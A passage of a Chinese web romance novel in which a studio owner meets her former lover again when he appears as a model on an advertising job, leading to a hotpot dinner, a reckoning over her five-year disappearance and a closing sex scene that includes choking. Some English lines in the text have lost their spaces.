Ababyboy? 伊实猛地站定,疆域骤缩,愣愣地未顾及左右,被撞开一小步,耳边传来一声倥偬的“不好意思”。 男孩踮起脚尖向她张开双臂,她蹲下去将她抱起,影子一大一小印在玻璃上,头靠着头,脸贴着脸。这让伊实突然意识到,五年不仅仅是简单的数字。 他此刻的心情无法言说,只是,他想起来,视频里的穆里斯一帧一帧挑出来的时候,都是模糊的。一直以来他只顾着猛冲,从未思考过,难道说陷入沼泽的人,其实是他吗? “B09,请您用餐啦。” 广播发出冷冰冰的叫号电波。 “B09,请您用餐啦。” 直觉拉扯穆里斯往身侧瞧,可除了哗哗的水流声没什么特别的。怀里的谦宝小手一指,开心地喊:“妈妈!” 穆里斯拍他屁股:“你妈妈等会儿拿你当擦手巾,你就哭,知道不?” 谦宝依旧:“妈妈!” 阿吉甩着湿漉漉的双手走过来,果然拿儿子当擦手巾,抹得干干净净。 “走吧老板,是不是到咱们了?”阿吉说。 穆里斯心中那股瘙痒的劲儿挥之不去,便道:“叫到咱们的号了,你和他们先进去,我等会过来。” “啊,那我等你一会儿。” “不用,我刚刚好像看见了一个以前认识的人,我瞄一眼。” “好吧,那我们先点菜咯?” “嗯。” 轻易被一抹漏洞百出的余光勾走,就一位创业人士来说是可耻的。好在穆里斯本就是用零七八碎的东西拼凑起来的散装创业人士,在走廊里乱跑不算丢脸。 哪儿去了呢?她明明瞥见了一模一样的身型,一模一样的磁场,不会是臆想症已经严重到在那么多灯光的照耀下还能耀武扬威了吧? 算了,算了。 穆里斯往回走。 她数不清对伊实的幻想体说了多少次“算了”,又多少次燃起希望自私地想把这个人从地球的另一端传送到眼前。 因为理亏,她连煽情都有一种罪恶感。 她只敢偷偷地想,深更半夜偷偷地想,想世界上有个伟大的发明家,发明出哆啦A梦同款的任意门,最好是任意床,睡一觉醒来就到了想去的地方,爱的人就在身边,做的任何一场梦都是美梦。 那个发明家就叫做“臆想症”。 火锅噗噜噜冒泡,工作室所有成员围在一起,两口锅应付七双筷子,中间还有一个儿童椅,算半个筷子好了,热胀冷缩的原理也应该适用在锅的直径上才对。 “煮好了赶紧捞走啊,不赶趟儿了快。” “你一浙江人胡说什么东北话山东话的。” “别介。” “装!” “老板,你要牛肉不要?” 浙人提溜起一块熟肉送到穆里斯的碗里。 “她都没说话,你强买强卖啊!”阿吉说,一边给儿子擦嘴。 “谦宝不也没说话,你也强买强卖啊!”浙人反驳道。 “你看他。”阿吉摆出牛粪拉大马路上的表情。 穆里斯把碗递过去,“给谦宝吃。” 谦宝不知道自己不费吹灰之力就走在了食物链顶端,只会傻乐。 阿吉冲浙人哼哼,把一片好心塞进童言无忌的胃里,她问穆里斯:“找到那个人了吗?” “谁啊?”有人问。 穆里斯久违地分不清现实和虚幻,沉吟片刻,说:“没谁……前男友。” “哇……”听取唏嘘一片。 比店里的招牌菜更惊艳的来了,那就是老板的感情生活。 年初步入29岁的那天,穆里斯就已经对他们的旁敲侧击做过实在的解释,涵盖起来四个字:不婚主义。 她亲自把关招揽的成员各有特长个性迥异,但都有一个共同点,好沟通。体现在允许各种小动物出现在工作室而没有一个人赶走它们,螳螂蜥蜴花栗鼠,不过后来谦宝来了之后别的动物就不来了。 所以不婚主义的老板算什么,不孕不育的螳螂才是闻所未闻。 理解是一回事,好奇又是另一回事,没听过前传的瓜子不配进垃圾桶。 “你最后碰见了吗?怎么说?”他们问。 穆里斯不动声色地往店门外看,还是被酒渣色的余光捉弄,没见到想见的影子。 恰好商场放的一首曲子,歌词唱道: 「如果你爱我, 你会来找我。 你会知道我, 快不能活。」 歌者缺氧的气息和她的脑子在这一刻做置换反应。她说:“没有。” 没碰见。没话说。 穆里斯 指挥众人吃饭,话里带火,锅底冒出来的。明明眼眶酸得快哭了。 她不设高高在上的威严,众人不惧她,谁都知道老板神经失调起来路过一根电线杆都要骂。 庆功宴之后穆里斯隐忍等待一个新的大单子的到来,看什么都不爽的症状,需要忙碌来缓解,没有忙碌的话她就把自己关在房间里死一死。疏忽职守的老板算什么,不孕不育的螳螂才…… 死了一周左右,阿吉欢欢喜喜地跑来跟她汇报:“有个模特公司给我们发邮件了耶,Y品牌的广告委托,接不接?” 穆里斯噌地坐起来。 “接。” 第45章 第45章从你走进来开始,你就一…… H市接连下了两天阴魂不散良知丧尽的小雨,扒脚的癞。蛤.ma,不伤人膈应人。穆里斯联系模特公司那边负责对接的小莱,定好周一下午谈合同,天气也晴黄历也美,这下总不能再拆散她和工作的情谊了吧。 想来也怪,一般来说都是品牌方先来找他们做广告策划,他们再去物色符合主题的模特,几乎没理由模特先接活,再亲手把热乎的饭菜端到他们桌上。 于是穆里斯在微信里问小莱,那边给的回答是:「哈哈你忘啦,两年前你们有一支广告用的就是我们的模特,那个时候是我师兄和你谈的合作,我还只是个实习生。」 穆里斯双手合十。种瓜得瓜种豆得豆,希望她熬的每一个夜都有这般回信。 小莱:「Y品牌比较特殊,主打面向中年男士的西装,他们来挑模特的时候非常苛刻/捂脸」 这正是模特的力量嘛,让人光是盯着就能产生资源共享的错觉。穆里斯翘起腿,十分想嬉皮笑脸一回,费老大劲才克制住,毕竟身边没有人能买她的账。 小莱:「定下模特之后他们本来想找的是另一家广告公司,是师兄推荐了你的工作室!如果周一谈得来的话,我们就能二次合作了!」 MurisStudio:「小作坊和大公司不能比,但我们会尽力做到最好,感谢信任/握手/偷笑/抱拳/玫瑰」 “谁发的这么一条馊馊的消息,谁发的?”穆里斯抬起头来,她还没读完消息,另一台设备就有了动作。 工作室里的一对摄影师摇头,后期摇头,阿吉也摇头,都摇头,浙人举手:“求夸奖。” 穆里斯扔过去一团纸,“吕成,你一个月不许登工作室的账号。” “我靠,不是中年男士吗?这个调调哪儿错了?” 大伙凑过去看聊天记录,笑成一团,纷纷劝导吕成注意消化不良。 周一的地铁是灰暗色,穆里斯的毛衣是普鲁士蓝色,她找到一个角落站着。她不开车是因为准备谈完合作去附近的猫咖宿醉,不想把时间浪费在泊车上。 Y品牌公司在一栋写字楼的十五十六两层,门面给人一种中学时期卫生检查小组的感觉,穆里斯联想到“垃圾桶里不能有垃圾,挂钩上不能挂东西”的规矩。她走进去,和前台打招呼,顺便瞄了眼垃圾桶。还真什么都没有。 品牌方负责人们前来迎接穆里斯,进了会议室她还惦记着那破垃圾桶,是个圆柱形的东西她都要低头瞄一眼,直到看到一个有垃圾的垃圾桶才罢休。 林子大了什么鸟都有,他们永远也猜不到此刻站在演示屏前滑动ppt侃侃而谈的合作对象直到上一秒脑子里还都在想着垃圾桶。穆里斯擅长捕捉语言里的潜台词,包括“那个这个”“那样这样”的里层含义。细腻的情感洞察力是她的夜视仪,虽然戴着很重,但谅在有大用——其实是摘不下来,所以选择物尽其用让自己开心一点而已。 品牌方眼前一亮,惊艳的表情与其说是出于赏识,不如说是体会到了高效沟通和被认可的快。感。大部分人都做过类似“意识转换器”的科幻梦吧,譬如脑子里的想法说不出来,要是能直接变现就好了。 “走吧,模特已经到了,我带你去看一下模特,然后我们就直接签合同。”品牌方站起来,趁热打铁地比了个手势。 穆里斯讲得口干舌燥,请求喝杯水。血汗钱血汗钱,不是流血就是流汗。水流在喉咙里湍急,她的心率稍有升高。 设计间出乎意料是一间暖色的房间,卡其色沙发和迟昏般焦黄的灯光让穆里斯想起了遥远的火炉。她从不觉得工作时想得五花八门是件坏事,反而这能给她带来策划案的灵感。 可是,透过一排清一色的黑色西装样衣,光栅效应令她眼花了一秒。 那一秒,就一秒,她的脑袋轰一声,宕机。 小莱上前和穆里斯握手,和品牌方握手,而沙发上戴帽衫和口罩的模特本人只字未言不为所动,只抬眸看了穆里斯一眼。 穆里斯迅速瞥开视线,掏出合同抚平纸张,一份给品牌方,一份给小莱,她拔开黑色中性笔的笔盖,在手心画了两下,递给他们。 “你们看看还有什么疑问吗?” 太像了,太像了,哪怕只是一双眼睛,真的太像了。 “没什么疑问的话,那我们合作愉快?”穆里斯用大拇指指腹搓手心。 但绝不会是他,绝不会是,这几年她见得洋人太少了,以至于看见高眉骨就要想到他。 “合作愉快,谢谢。” 品牌方留下一位答疑解惑的设计师便散开了。声墙矮了下来,心跳就显得尤为强烈。 穆里斯背对沙发,肩膀十分僵硬,米色墙纸吸走了她在会议室里的意气风发。 “姐,你看看我们的模特吧。”小莱挽起她的手,却没办法使她转身。 “你,你们的模特,是外国人啊。”穆里斯觉得她不能再想下去了,否则会耽误猫咖的行程。 小莱说:“是啊,我师兄那次不也是吗?” 穆里斯被涨潮的海浪推翻过去,面对人有五感这件事时犯不可理喻的怵,密密麻麻的网让她思绪杂乱。 “他听得懂中文吗?”穆里斯假装步子很镇定,看起来十分端庄,事实上她压根没在意过什么体态什么气质。 “呃……会一点吧,我的英文不是很好,所以和跟他交流都是靠翻译器,有时候没用翻译器他也听得懂一点。”小莱锤了锤自己的额头,语气懊丧:“本来他的经纪人也要来的,但是临时有事。姐,你有经验,你跟他说吧。” 视线再次交汇,穆里斯张了张嘴,发不出声音,感性和理性两股势力在纠缠不休,最后理性占了上风,她探究起记忆的背面。 她没说话他也不主动说,虽有一样的蓝眼睛,可伊实不会这样矜持。 他摘下兜帽,浅褐色的刘海垂下来,他往后捋,刘海依旧垂下来,可伊实不是浅褐色头发,而且长度要更短一点。 他摘下口罩,令她倒吸一口气,记忆的背面,转不过去的背面,正如在地球上永远无法观测到月球的背面。 他肯定不是。穆里斯下定论,即使潦倒至极,也仅有这一个对策。 他看着她,不,他用眼神拴住她,往身侧歪了歪头。 “Sit.”他说。 嗓音……也在不断充盈背面。 穆里斯在长沙发的另一端坐下,寻找快速逃离低级漩涡的方法,七颠八倒的她快焦虑发作了。 “Nicetoseeyou.”她伸出友好建交的右手。 他扫了一眼,抬起一根手指虚虚画圈,“Anotherone.” 左撇子吗?穆里斯想,那更不会是伊实了。 她伸出左手,他握住,手很大,尾指能勾到她的无名指。一触即离。 “怎么称呼?”穆里斯问,慢慢恢复过来。 对面答非所问:“从你走进来开始,你就一直盯着我。” “……”穆里斯耳根微红,长发的安全感在这一刻雪中送炭,她缓缓地说:“你和我以前的一个朋友长得很像。” 他闻言挑了挑眉,这个神态再次攻击到她的记忆深处,甚至大有覆盖的趋势。穆里斯拒绝任何人取 代她的伊实,所以将目光投向一旁低头看手机的小莱身上,她的模样像是在处理公事,太好了,职场中臃肿又扫兴的气味使穆里斯冷静。 “Whatkindoffriend” 一波未平一波又起,穆里斯耸耸肩,胡诌了一个容易改编的角色:“只是朋友,吃过几次饭。” 他似懂非懂地点点头,微妙地提了提唇角,笑声很轻,随后站起身,居于比招牌模特还要招牌个十几公分的海拔,临下说道:“我去换上他们的衣服。” “请便。” 穆里斯目送他的背影,心脏慢了半拍。 直到这一幕,她才真真切切地意识到自己到底有多么自私。那么多年其实她早就忘了伊实长什么样,没有照片她根本不可能凭借做梦就能保留那张脸。她仍旧有缺陷,直至今日她也还在吃药,只吃一种好让人睡觉的药,她以为这就算是冲洗旧照片了,错了,她还是忘记了。 她还是忘记了。 穆里斯半阖眼皮,倚靠在沙发背上,和小莱说稍微休息一会儿。不出三分钟,更衣室的门被打开,探出一颗头。 “谁会打领带?” 他是对着穆里斯问的。没有谁。向日葵只会向着太阳。他分明问的是,她会不会打领带。 早就说过了,夜视仪摘不下来。 穆里斯走过去,本想在更衣室门口做完这件好人好事,但他故意少根筋地往后退。 见她不继续往前走,他摊开勾着领带的手,语气落落大方:“怎么了?过来啊。我不会。” 穆里斯沉吟片刻,走了进去。是的,因为这张脸她会宽恕他一次。她没见过伊实穿西装的样子。 她取过领带,材质感人,像介于固态和液态之间的云层。 “请低一点头。”穆里斯说。 他照做,目光寸步不离,从她的眼睑描摹至脸颊上的绒毛,至一丝干裂的嘴唇。 “晚上有空吗?”他问。 穆里斯往上一瞥,拉紧领带。不会宽恕他第二次了。 “没有。”她说罢,松开手,却反被滚烫的掌心握住。 “你有。” 伊实当不了伪装专家,他没有这个天赋。 他在穆里斯不停放大的瞳孔里看见自己不合格的隐忍,他重复道: “你有,穆里斯。” 第46章 第46章对你来说只是场艳遇而已…… 线索在一泽水汽中消失的无影无踪,穆里斯确信有什么在背后捉弄着这一切。她合不拢的唇畔微微颤抖,纤细的手腕完全脱力,危急混乱中惯有的解离时刻也离她而去,她什么也思考不了,一万个“算了”孕育出来的复杂情绪攫搏了她的全部身心。 她难以置信地看着眼前这个她费劲千辛万苦才否定掉的人,帷幕揭开后发现原来被否定的是她自己。 伊实慢慢扯开规整的领带,带着穆里斯的手摁在上面,如倒带的影像,滚烫的心跳终古常新。 “Youreallyotme,didntyou”他故意说得可怜,甚至有些找茬的含义。穆里斯湿漉漉的眼神早就离不开他了,可仅仅只是好奇和怀念满足不了他,他想得到的是曾经在那里出现过的旺盛的依恋,和情。欲。 “重新系一遍。”他说。 穆里斯慌乱地低下头,抽回手,脚跟往后挪,却怎么也拉不开和谵妄的距离。 当她再次抬起头时,伊实的脸已变得清晰无比了,几乎与记忆里的模样重合,然而堆叠在一起的山海与岁月仍让她不得不发出不相信的声音。 “Youare” 伊实提了提半边眉尖,“Iam.” 当初擅自为对方找的借口通通崩塌,穆里斯想不通,她总倾向于事物朝着离开的方向流逝而自圆其说。 “But……How?” 伊实从她的身侧越过,走去将虚掩的门关紧,一边说道:“把你今天剩下来的时间都交给我,我就回答你。” 穆里斯没法拒绝,水位已经淹到脖子了,而她的脑袋一团浆糊,有太多想问的,同时又担忧着被问到她所不能解答的问题。她不正常,乐意脚下是独木桥,前提是没有人过问。 伊实当着她的面开始脱衣服,穆里斯心尖一紧,连忙转过身,不料背面就是镜子,除了精实的躯干外,还有一张绯红的脸也一并浮现。 她低头看脚尖,今天穿的靴子居然没有鞋带。身后传来几声尖酸的调笑,她的双颊更热。 “几年时间你净学会了大惊小怪。”伊实说,丝毫不顾褶皱的风险将西装裤抛开,不紧不慢地穿上原有的休闲裤和卫衣。 穆里斯极力缩小视野,衣料窸窸窣窣的动静像在她耳廓上挠痒似的。 “这不一样。”她说。 “哪儿不一样?”伊实上前,在她耳边打了两个响指,“醒醒。” 穆里斯企图用严厉的皱眉来掩盖羞恼,“你难道不知道这是什么地方吗?” 伊实不以为意,掏出手机,说:“给我你的电话号码,安。” 这是他第一次真正意义上喊穆里斯的名字,在她听来不亚于军训教官抬头挺胸的指令。她报出一串数字。 “AndWeChat.” “……”穆里斯想起自己那不知羞的自我陶醉,心虚地往外走:“等会儿再说。” 她摁下门把手,恰好碰上小莱敲门。 “怎么啦?在里面这么久?”小莱目光朝里面看,疑惑:“不是说换衣服吗?怎么没换?” 穆里斯近几年越来越不屑于撒谎,有时候还会胡言乱语以图痛快,而此时她却刻意得不能再刻意了。 “换过了,很好,很适合,具体的等方案做出来了在看。” 啊,香蕉的英文是banana重复一百遍。 小莱听她的语速不同寻常的快,问道:“哦哦,姐你下班了还要忙吗?这边结束了,如果有事的话你快去吧。” 穆里斯僵硬地微笑:“好!谢谢你!”说罢她搬快脚步一溜烟消失在设计间。 小莱给伊实的经纪人李打电话,告知合作谈得愉快,两秒钟不到就签好了合同和协议。喜报播到一半,伊实在她面前举起翻译器: 「你告诉李,我和安晚上有约会,别来打扰我。」 “谢谢。”伊实撂下一句不熟练的中文,也和一团烟似的追出门去。 “……”小莱既没能从那张眉骨分明攻击性扑面而来的俊脸中缓过神,又无法找到合适的措辞把他的话转达到位,最后只好磕磕绊绊地交代道:“呃,你的模特,好像在泡客户。” 写字楼下,穆里斯站在大门一侧直跺脚,不晓得是因为冻得哆嗦还是犯人销毁证据时惯有的紧张不安。她用食指快速滑动手机,敲敲点点回工作室大群的消息。 阿吉:「谈得怎么样?」 Muris:「一切顺利。」 吕成:「为什么突然换头像了?原来那个文艺落地窗呢?」 Muris「没为什么。」 吕成:「那你也不能换成谦宝的屁股蛋子吧?」 阿吉:「哈哈哈哈哈哈哈」 Muris:「我觉得挺可爱的,别管。」 阿吉:「我儿取代了你用了那么多年的头像,我宣布以后他是你儿了」 Muris:「婉拒。」 余光警觉,穆里斯收起手机,站直腰板。“幼稚”二字完完全全写实到了她身上,指的是不明不白地做出生存以外的多余举动,只为显得波澜不惊和矜持自傲。 她故意漫无目的地扫视大街,伊实从后面用胳膊轻轻撞了她一下才转过头。 “接下来你准备做什么?”她冷静地问,冷静 过了头听上去更接近“谢绝会见”的意味。 这让伊实很不爽,它应该和违禁。品一样被杜绝,而不是出现在他爱人的脸上。 伊实长臂一伸搂过穆里斯的肩膀,向对面的街区走去。 “嘿!这很没礼貌!”穆里斯半边脸都被埋没在他的胸膛下,看不清路,被突然的车喇叭声吓一跳。 “礼貌?你倒跟我谈起礼貌来了。”伊实脚下没有斑马线,跨的是野路子,说的话更野:“有礼貌的人会写几个意义不明的单词然后消失的无影无踪吗?你个卑鄙小人,ghostingmeforyears,忘得一干二净还好意思说。” “唔。”穆里斯像是吃了一嘴的灰,又被老鼠夹夹痛尾巴。她最没胆量没信心面对的话题还是没有躲过。 她被裹挟进一团火锅底料之中,伊实坐在餐桌对面,在小程序上快速点了几道菜,被他在桌下的两条长腿圈住的家伙也在劫难逃地算作一道。 穆里斯宁愿装作无所谓或者体验那种超然物外的淡泊,也不愿承担头痛的风险而动哪怕两分钟脑筋,因为她必有罪,所以掩耳盗铃。她在意识以外的地方,太把目前为止促使她稳定和苟活的规则当回事了,专治独裁不会有好下场,身处王朝的她被蒙在鼓里。 “看样子,你压根没想过能像这样,和我面对面坐着,吃上两回中国火锅。”伊实批判道,神情不严重,至少漂浮起来的海带苗是软的,不过将东南西北划分得十分清晰,必须要走一个方向。 “事实如此。”穆里斯在水雾里说得小声。 “如果那个是事实,你现在看到的又算什么?” 穆里斯装模作样地用筷子捞锅里的海带苗,说:“不知道,一种打击?不知道。” 伊实咬紧后槽牙,真想撕开她事不关己的皮囊看看里面的填充物是不是可恶的棉花或者木头屑。他想不出她不爱他的理由,场景换到中国,他倒稍微能想出一个,她要是恋家他可以迁徙至此,除此之外还有什么别的让她这么冷漠? 经纪人李打来电话,伊实接起。 “Ishmael,你在干嘛?” “吃饭。” “和谁吃饭?” 伊实抬眸盯住穆里斯,视线撞个正着,不出一秒她便迅速垂眸,他冷哼道:“一只胆小鬼。” 经纪人在声筒里哀求:“你犯大忌了知道吗?没见过你这么无法无天的模特!你和谁约会我都不管,你和客户约会就是把我往火坑里推!你现在在哪儿?我过去和客户解释解释,还来得及。你千万别说些有的没的,嘴巴放干净一点好吗?” 伊实在他说第二句的时候就按了免提,扔在桌上令其自生自灭。弄得穆里斯大气不敢喘,米线在嘴里咬断。 “喂?你在听吗?你到底在哪?” 伊实用脚尖抵了抵穆里斯的小腿肚,“你跟他说。” 穆里斯睁大眼睛无辜地指自己:“?” “不然呢?还是你不介意让他知道五年前我们……”语出惊人得不得了的东西呼之欲出。 “啊那个——”穆里斯眼疾手快地拿起他的手机,靠在耳边,“你好,我是MS工作室的代表,嗯,不是你想的那样,我和他是旧识,对,没关系的,哈哈,好的,好,再见……” 她的嘴巴一张一合说着他听不懂的语言,摆着虚假到家的笑脸,伊实这一瞬间真想破坏它。 “要说起来也不难,”他轻描淡写道,“对你来说只是场艳遇而已。” 穆里斯下意识强烈反对:“不,才不是。” “那是什么?在你这还有什么比艳遇更轻贱更不需要负责的关系吗?”伊实嚼着一卷牛肉,他已经很会用筷子了,“说来听听。” 迷途的羊羔偏不知返,装作很忙埋头吃草。他往洞穴里看去,想大喊大叫,测测到底有多深。 “一到不想回答的时候就装哑巴,你向来如此。”伊实说。 穆里斯从头到尾都没有心情吃东西。要她怎么说?大吹大擂一番,她是怎样视他为崇高的理想,每过一天就多幻想一分的“概念”?没有人知道的,只有她一个人独占的完美个体,时间再长一点,她终有一日要带进泥土里。为了成为与之相配的存在,为了挑出她人格中的杂质,甚至还为了将爱从肉。体的寂寞中剥离出来,她靠着这样一点点的理想活着,从不轻易设想哪里是尽头。 具体要她怎么说? 抱歉,我发现我其实没有爱人的能力? 穆里斯无论如何也讲不出这话,光是想想就有够她受的了。她对疼痛的感知通常要比幸福高百倍,这是她治不好的缺陷,也是辜负了伊实的罪魁祸首。 “行,没问题,你就保持这样,什么都别动。”伊实打破了她的沉默,凭空撕开一道口子似的从水汽的那头透到这头,“艳遇也无妨,你想不出理由就他妈的继续放空你的大脑。” 他放下筷子,义正辞严:“但这是我的回合了。” “Whatdoesitmeanitsyourturn”穆里斯不解,在他灼热的凝视下心怦怦直跳,拿起杯子喝水。 “意思是,现在你是我的艳遇,接下来我会引诱你跟我上。床,至于什么时候结束,轮到我说了算了。” 穆里斯呛得咳嗽不止。 第47章 第47章就是陷阱,点头,快点儿…… “你凭什么笃定我一定会被你引诱?”穆里斯不停用纸巾擦拭羞恼的嘴角,“世界上失败的艳遇绝不在少数。” “那你就继续保持警惕吧。”伊实一副志在必得的模样,轻轻一口气就能吹起漫天沙石似的,这对后面的车辆很不友好,但他不在乎。 啤酒沫儿溢出杯口,和涨潮的海水一样受月光影响。伊实喝酒从不上脸,好在有辣椒作替代品,一点点就能起到明显的效果,他的脖子和耳根渐渐染上风雨欲来时的潮红。 “当务之急,kitten,”他说,“当务之急是你这些年过的怎么样,告诉我。” 穆里斯勾起鬓角的头发,刮到耳后,否则总是在她低下头吃菜的时候掉进汤里,和她可怜的叙旧能力一同石沉大海。 “Good.”她说,为了让这个答案听起来不那么敷衍,她用几个点头的动作自我附和,“摆脱了讨厌的家人,找到了喜欢的工作,挺好,真的。” “Boyfriend” “No.” “Girlfriend” “……”穆里斯左眼的卧蚕跳了跳,“如果我的回答是Yes,你难道会就此打住吗?” “不会。” “既然如此,那我说什么都不重要。” “不,有点用处。”伊实两只指头夹起绿色啤酒瓶,叮叮当当地放在地上,单手又开了一瓶,“至少让我知道当我在呼和浩特大草原上看那几头母牛吃草的时候,或者在哈尔滨发现路边的狗听得懂俄语的时候,你没跟别人跑了。” 穆里斯怀疑听力出现了故障,诧异道:“什么?你还去过这些地方吗?” “我去过的地方是你想象不到的多。” 伊实支棱起世事洞明的眼神,穆里斯装不了天真,她无法让五年时间仅凭一句“算了”就袅袅而散。说得好听为对方着想,而事实上是他没有放弃寻找,而她却早早放弃了等待。愧疚油然而生。 “还去过哪儿?”穆里斯问,索性让愧疚和酸溜溜的白沫一起溢出来。 “Beijing.Twice.” “……”他果然是拿到好牌后会先打出王炸的狙击手。穆里斯道歉的话在嘴边徘徊,忽上忽下,始终稳定不来,道歉也需要理由,她宁愿有恨,也不要全是爱但要去解说离别。 相较之下,伊实不会把一千八百多个日夜死死地攥在手里,千辛万苦不为讨一个说法,对他来说今夜便是全部,和她面对面坐着,他的脚尖能勾到她的衣角,便是全部。 “顺便一提,我喜欢哈尔滨这座城市。”伊实用手里的酒杯和桌上摆着的啤酒瓶交颈碰了一碰,喝尽最后一口,“你去过吗?” 穆里斯摇头:“I‘mtiredofrunning.” “Butyouarealwaysescaping.”伊实懒散地笑笑,已有像样的醉态浮现出来,“你可以照老样子坐在轮椅上,someone推着你到处走。” 穆里斯哑言,昔日的坐享其成历历在目。 “最后怎么选择了这里?”她问,言下之意是,怎么找到这的呢,中国有那么多城市有那么多人,而她是细到连光都透不进的银针。 “我在哈尔滨认识了一位民宿老板,他的名字叫ZhangSiyuan。”伊实的中文水平突破了四个声调而百转千回,听不真切,“他的妻子是俄罗斯人,他们把我当作故人对待。我说,我不是纯俄罗斯人,一半美利坚血统,出生在伊尔库茨克,七岁离开去洛杉矶上学,从此混迹各大街头,寒暑假偶尔和母亲一起回老家看望祖母,母亲去世后几乎再也没回去过。其实除了这副长相,没别的能用俄罗斯人形容。那个伙计,就是Zhang,他说:‘生你的地方和养你的地方都是你的一部分。’老天,这太他妈甜蜜了,他看出来那时的我很沮丧,问我为什么,气氛烘托之下我全交代了。对了,你的照片应该现在还贴在他家的墙上。” 穆里斯如梦初醒:“为什么会有我?” “我说我在找一个人,我不确定她还是不是活着——别露出这种表情,我实话实说罢了——包括在挪威发生的一切,我通通交代之后,他们擦着眼泪一拍我的肩膀就跟我担保了,说一定帮我找到你。”伊实翻出和Zhang的聊天记录,“看,他简直是我见过最靠谱的情报员。” 穆里斯脸色一阵青,“你是说,我像一个通缉犯一样被贴在哈尔滨的一家民宿里,路过的所有旅客都知道我的姓名和我的长相?” “我没给赏金,”伊实纠正道,“寻物启事更恰当吧。” “什么时候发生的事?” “三年?四年?反正很早的时候。” 穆里斯甩下筷子,掩面长叹,难以接受自己以这种方式臭名远扬,她低声暗骂:“可恶。” “什么?”伊实伸长耳朵。 “我真该解决完我爸之后立马去解决你。”穆里斯语势愤懑,久违地发出即将咬人的警报。 伊实临危不惧,看着她笑,幻想上手捏一捏那团鲜活的脸蛋,“所以你擅自离开是因为你的父亲?是吗?发生了什么?” 穆里斯不再避讳与他有关的记忆,说:“从你那儿学会的,看谁不爽就还手,毁掉他,我做到了。” “酷。”伊实饮下最后一滴酒,撑起身子去结账。 穆里斯满脑子思考如何补救被流放在哈尔滨的名誉,没注意到伊实摇摇晃晃的浮夸表演。走出店门,她正要说什么,一块俄罗斯大门板朝她倒过来。 “喂!”她努力推开他的肩膀,无果,“你在装什么?混蛋,你什么时候醉过?!起开!” “心碎的时候就会醉。”伊实搬出一套不知道哪里来的理论依据,死皮赖脸地搭在她身上。 穆里斯往后猛地一退,令他踉跄了几步。她无情地说:“我不会管你。” 伊实黏糊糊地抓起她的手,“我不会说中文,送我回家。” “这么明显的陷阱,你以为我——!”一片吻急速凑近,使得穆里斯的话语和嘴唇同步后撤。 近在咫尺的月光如烈酒般浓酽。伊实便这么悬挂着,蛊惑道:“就是陷阱。点头,快点儿。” 人。体极限不允许穆里斯往后再倒一毫米,双足也因受到突袭而愣在原地。精神上她再次被拽回一条铺满荆棘的羊肠小道之中,告诉她不能贴上去。 “能不能把我的照片摘下来?”她想到一个高明的扬汤止沸法。 “什么照片?”伊实假借酒鬼特有的重影忽地若近又忽地若离。 穆里斯快疯了,“民宿里的照片,你让老板摘下来。” 伊实长长地嗯了一声,很长,起到承上启下的作用,“可我还没找到你,我找到你了吗?” “我不就在这吗?” “可你不再亲吻我了。” 穆里斯脑袋发麻,退而求其次,支起他的胳膊,说:“你的住所在哪儿?” 狭窄的出租车后座平添抽刀断水水更流举杯销愁愁更愁的意境,穆里斯只求这个世界不要再搬弄“历史总是惊人的相似”这一伎俩了,她真的无福消受。 她没忘,一分一秒都没忘,记得清清楚楚,五年前伊实是怎样把玩她的手指,是怎样靠在她的肩头磨蹭,蜻蜓点水的一吻是怎样的触感,她记得清清楚楚,请不要再提醒她拥有过怎样的幸福了,很像一种嘲笑。 “很熟悉吧?”作为另一位主角,伊实显得坦然得多。 “闭上你的嘴。” 伊实哑声闷笑,“Itturnsmeon.” 穆里斯选择闭上自己的嘴巴。 在工作日宿醉是场畸形的行为艺术,而在工作日送一名宿醉的酒徒回家则更为畸形。更何况这名酒徒别有用心,穆里斯分不清她到底是在负荆请罪还是自讨苦吃。 “任务完成,睡个好觉吧,再见。”她对沙发上趴着的巨兽道别,捡起地上的公文包。 “穆里斯。”伊实低声叫唤。 “……” eback.” “……” “穆里斯。” “也是陷阱。” “Iwantyou.” “陷阱。” “YouwantmethewayIwantyou.” “……” 穆里斯提起一口气,居高临下地看着他,面对属于引诱的最高级形容词里出类拔萃的一种,她被记忆和本能攻击得体无完肤。 她要做个恶人,不如说她原本就是个恶人,这疯疯癫癫的情致,昙花一现的气象,背后是间歇性猜疑和无边际迷惘。如果回忆在今夜被玷污了,那么枕头里的棉絮便是葬礼上的飘花。她无疑是凶手。 穆里斯冲上前拎起伊实的领子,恶狠狠地说:“你只会说这些是吗?一遍又一遍,非和我做。爱不可,是吗?” 伊实看着她,不说话,希望她永远也别松手。 “Condom?” “Bedroom.” 穆里斯咬住他的嘴唇,一触即发,血腥味迅速扩散,年久失修的骨架,活络了起来。 第48章 第48章fuckyouto…… 被月光绊倒似乎成了件水到渠成的事,破裂的毛细血管宛若一场小型火山爆发,六神无主的摆渡人横冲直撞,唯独渡不了自身。倘若泛白的脚踝可以扭转乾坤,一只只颤抖的闪蝶也不会成为暴戾的盘中餐了。 她立志于掀开木偶戏的盖头,寻找有血有肉的部分,而非令人摆布、附庸风雅的移动。结局是,她并没有从啃噬中真正学到什么,反而亲手推倒了用一千多个夜晚堆出来的城堡。 她根本,流着丝毫没有长进的,单调的血,愚昧的人。 穆里斯供奉禁。欲几乎到了入狱的地步,从某一天突然开始,她决定好好经营这份爱,首先剔除荷尔蒙和激素的依赖,再往生命线的伊始打上补丁,最后像孕育一个宇宙那样孕育它。 代价是她离“具体”越来越远,越来越远,远到具体的人再也没办法拴住她。 如果拴住,天空就要下雨,淋湿他的肩膀。 “不要急,你还没办法容纳它。” 指甲嵌进无声的疏狂里,穆里斯听不进任何话,一心遵从劫掠和欺凌。她死死捂住伊实的口鼻,就好像捂住了她自己的,空气进不来也出不去。那句预言很快被埋没在黑暗里。 容纳不等同于拥有,正因如此,她才如此急躁和无助。在情感缺失和情感高涨的双重水生火热下她不甘示弱,可从一开始她就是败兵,注定了要割伤他人然后饱受两种痛苦。他怎么忍得了?!怎能忍得了?! 她掐他的脖子,是为了让他掐回来。 “还有多少?”她有气无力地问,止咬器里口水直流。 “两个指节。”伊实回答,不停亲咬她的眼睛和耳尖,收复河山那样不知疲倦,他愿 意把氧气都交出去,也愿意她在他身。上恣意横行,不如说这正中他的下怀,要的就是这样。 “你会遭殃的。”穆里斯警告道。 “那你得再使点劲。”伊实主动覆盖住她的手背微微用力。他一贯不会做出伤害自己的事,事实上他压根无法从中得到一丁点的乐趣,或者什么狗屁解脱,但如果是她手里的束缚,另当别论了。狗熊的兴。奋剂。 